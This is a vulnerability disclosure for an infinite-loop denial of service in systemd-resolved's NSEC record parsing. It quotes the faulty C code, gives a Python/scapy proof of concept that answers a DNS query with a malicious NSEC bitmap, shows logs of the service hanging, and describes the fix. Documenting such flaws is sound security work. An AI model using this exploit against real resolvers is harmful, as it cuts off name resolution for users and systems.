Remote DOS of systemd-resolve service

The DNS response parser in systemd-resolve has a issue during the NSEC resource record parsing. The function *dns_packet_read_rr* in **src/resolve/resolved-dns-packet.c** read the resource record differently depending on its type, for NSEC resource, the next domain name and the types bitmaps are extracted from the packets :

```
        case DNS_TYPE_NSEC: {

                bool allow_compressed = p->protocol == DNS_PROTOCOL_MDNS;

                r = dns_packet_read_name(p, &rr->nsec.next_domain_name, allow_compressed, NULL);
                if (r < 0)
                        return r;

                r = dns_packet_read_type_windows(p, &rr->nsec.types, offset + rdlength - p->rindex,
NULL);

                /* We accept empty NSEC bitmaps. The bit indicating the presence of the NSEC record
                 * itself is redundant and in e.g., RFC4956 this fact is used to define a use for NSEC
                 * records without the NSEC bit set. */
                break;
        }
```

The type bitmap field is stored in window blocks, the function *dns_packet_read_type_windows* call *dns_packet_read_type_window*. We found a infinite loop during the parsing of NSEC DNS resource in this function :

```
static int dns_packet_read_type_window(DnsPacket *p, Bitmap **types, size_t *start) {
[...] /* Read window and length from the packet */
        r = dns_packet_read(p, length, (const void **)&bitmap, NULL);
        if (r < 0)
                return r;

        for (i = 0; i < length; i++) {
                uint8_t bitmask = 1 << 7;

                if (!bitmap[i]) {
                        found = false;
                        bit += 8;
                        continue;
                }

                found = true;

                while (bitmask) {
                        if (bitmap[i] & bitmask) {
                                uint16_t n;

                                n = (uint16_t) window << 8 | (uint16_t) bit;

/* Here the bitmask, bitmap and i are not modified from last iteration */
/* dns_type_is_pseudo doesn't change them neither */
/* so reaching this continue will result in a infinite loop */
                                /* Ignore pseudo-types. see RFC4034 section 4.1.2 */
                                if (dns_type_is_pseudo(n))
                                        continue;

                                r = bitmap_set(*types, n);
                                if (r < 0)
                                        return r;
                        }

                        bit++;
                        bitmask >>= 1;
                }
        }
[...]
```

The function *dns_type_is_pseudo* checks if the type is in [0, **TYPE_ANY**, **TYPE_AXFR**, …] so, by appending a resource record of type NSEC with a type bitmap containing a pseudo type should trigger an infinite loop in the systemd-resolve service and results in a DOS.

The following Python PoC works on the target :

```
from scapy import *
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('127.0.0.1', 53))
data, addr = sock.recvfrom(1024)
pkt = DNS(data)
attack = DNS(id=pkt[DNS].id, qr = 1, aa=1,\
                    qd=pkt[DNS].qd,\
                    an=DNSRR(rrname=ppkt[DNSQR].qname, ttl=10, rdata='8.8.8.8')\
                    /DNSRRNSEC(rrname='bad.fr', typebitmaps=RRlist2bitmap([0])))
sock.sendto(str(attack), addr)
```

After, catching the first DNS request, the systemd-resolve will not respond anymore. The watchdog will restart it after 3 minutes. The fix is is straightforward, before continuing the while loop iteration, increment the bit and shift the bitmask.

```
mst@ubuntu:~/Documents/systemd-232$ systemd-resolve --statistics
Failed to get DNSSEC supported state: Connection timed out
mst@ubuntu:~/Documents/systemd-232$ systemd-resolve test.fr
test.fr: resolve call failed: Connection timed out

ubuntu systemd[1]: systemd-resolved.service: Watchdog timeout (limit 3min)!
ubuntu systemd[1]: systemd-resolved.service: Killing process 33780 (systemd-resolve) with signal SIGABRT.
ubuntu systemd[1]: systemd-resolved.service: Main process exited, code=killed, status=6/ABRT
ubuntu systemd[1]: systemd-resolved.service: Unit entered failed state.
ubuntu systemd[1]: systemd-resolved.service: Failed with result 'watchdog'.
ubuntu systemd[1]: systemd-resolved.service: Service has no hold-off time, scheduling restart.
ubuntu systemd[1]: Stopped Network Name Resolution.
ubuntu systemd[1]: Starting Network Name Resolution...
ubuntu systemd-resolved[41878]: Positive Trust Anchors:
ubuntu systemd-resolved[41878]: . IN DS 19036 8 2 49aac11d7b6f6446702e54a1607371607a1a41855200fd2ce1c
ubuntu systemd-resolved[41878]: . IN DS 20326 8 2 e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc6834571
ubuntu systemd-resolved[41878]: Negative trust anchors: 10.in-addr.arpa 16.172.in-addr.arpa 17.172.in
ubuntu systemd-resolved[41878]: Using system hostname 'ubuntu'.
ubuntu systemd[1]: Started Network Name Resolution.
```